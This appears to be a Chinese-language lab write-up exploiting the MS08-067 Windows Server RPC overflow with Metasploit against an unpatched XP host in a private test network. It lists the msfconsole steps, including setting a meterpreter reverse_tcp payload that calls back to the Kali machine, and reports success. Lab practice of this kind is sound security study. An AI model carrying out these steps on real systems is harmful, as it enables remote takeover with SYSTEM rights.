Windows Server服务RPC请求缓冲区溢出漏洞（MS08-067）。
漏洞详情：
MicrosoftWindows是美国微软（Microsoft）公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出，导致完全入侵用户系统，以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003，无需认证便可以利用这个漏洞；对于WindowsVista和Server2008，可能需要进行认证。
参考链接：
Windows Server服务 RPC请求缓冲区溢出漏洞
Windows Server服务RPC请求缓冲区溢出漏洞（MS08-067）
未打补丁的xp:192.168.43.199
kali：192.168.43.185
两台主机之间可以通信。
首先进入msfconsole，寻找ms08-067相关的攻击模块。
这里只有一个可用的exploit模块，use它。
然后show targets查看一下，该模块都适用于哪些windows版本。
本次实验的主机是xp3 simplified。
这里将目标主机的类型设置。
然后看一下需要配置哪些参数show options
这里设置一下rhosts即可。
然后查看一下有哪些可用的payload;show payloads
这里选择44号。set pyaload windows/meterpreter/reverse_tcp
然后再看一下payload需要配置哪些参数show options
需要配置lohost和lport；配置监听地址和监听端口。监听端口有默认值，这里就只配置监听地址为kali的IP。
然后开始渗透
如图所示渗透成功。
未解决：
进入cmd后，存在乱码问题。
